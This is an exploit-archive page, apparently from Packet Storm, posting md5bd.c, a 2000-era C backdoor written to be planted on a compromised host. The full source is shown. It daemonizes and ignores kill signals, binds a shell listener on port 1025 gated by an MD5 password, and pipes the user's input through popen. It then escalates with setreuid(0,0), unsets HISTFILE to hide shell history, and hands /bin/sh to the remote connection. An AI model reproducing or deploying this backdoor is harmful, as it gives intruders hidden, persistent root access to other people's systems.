exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

md5bd.c

md5bd.c
Posted Jul 15, 2000
Authored by Mixter | Site 1337.tsx.org

md5bd.c is a shell server/backdoor that uses a md5 encrypted password to authenticate, therefore the password cannot be retrieved from the server.

tags | shell
SHA-256 | a4877757ba86f16bd156b9e926a303adac81bca585de68a7f81d07662984df4f

md5bd.c

Change Mirror Download
/*
md5bd.c - backdoor/shell server with md5 based authentication
(c) 2000 by Mixter <mixter@newyorkoffice.com> http://1337.tsx.org

This is a small server program that can be put on an untrusted host,
without the danger of the hard-coded password being retrieved. Another
big advantage of using md5 is that your password can be effectively as
long as you want... I'm using md5sum since every system should have it,
and since it's a stupid program and not worth of putting in md5 functions.

To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
Usage: ./md5bd, then ./nc host port, then enter your password
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>

/* change this to 1337 if you want it to be *really* stealthy ;/ */
#define P0RT 1025

/* the default pass, "secret" */
#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"

/* the stupidity of perl, realized in C... */
#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"

char md[36];

char *
mdpass(char *plain)
{
FILE *p;
char fmt[1024];

snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
p = popen(fmt, "r");
memset(md, 0, 36);
fread(md, 32, 1, p);
fclose(p);
return md;
}

int
main(int a, char **b)
{
int c, d, e = sizeof(struct sockaddr_in), f;
char p[1000];
struct sockaddr_in l, r;

signal(SIGCHLD, SIG_IGN);
signal(SIGHUP, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
if (fork())
exit(0);
l.sin_family = AF_INET;
l.sin_port = htons(P0RT);
l.sin_addr.s_addr = INADDR_ANY;
bzero(&(l.sin_zero), 8);
c = socket(AF_INET, SOCK_STREAM, 0);
bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

listen(c, 3);
while ((d = accept(c, (struct sockaddr *) &r, &e)))
{
if (!fork())
{
recv(d, p, 1000, 0);
#ifndef REMOTELY_EXPLOITABLE
for (f = 0; f < strlen(p); f++)
switch (p[f])
{
case '|':
case ';':
case '&':
case '>':
case '`':
case '\r':
case '\n':
p[f] = '\0';
break;
}
#endif /* REMOTELY_EXPLOITABLE :P */
if (strncmp(mdpass(p), MDPASS,32) != 0)
{
send(d, "\377\373\001", 4, 0);
close(d);
exit(1);
}
printf ("hi.\n");
close(0);
close(1);
close(2);
dup2(d, 0);
dup2(d, 1);
dup2(d, 2);
setreuid(0, 0);
setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
unsetenv("HISTFILE");
execl("/bin/sh", "sh", (char *) 0);
close(d);
exit(0);
}
}
return 0;
}
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close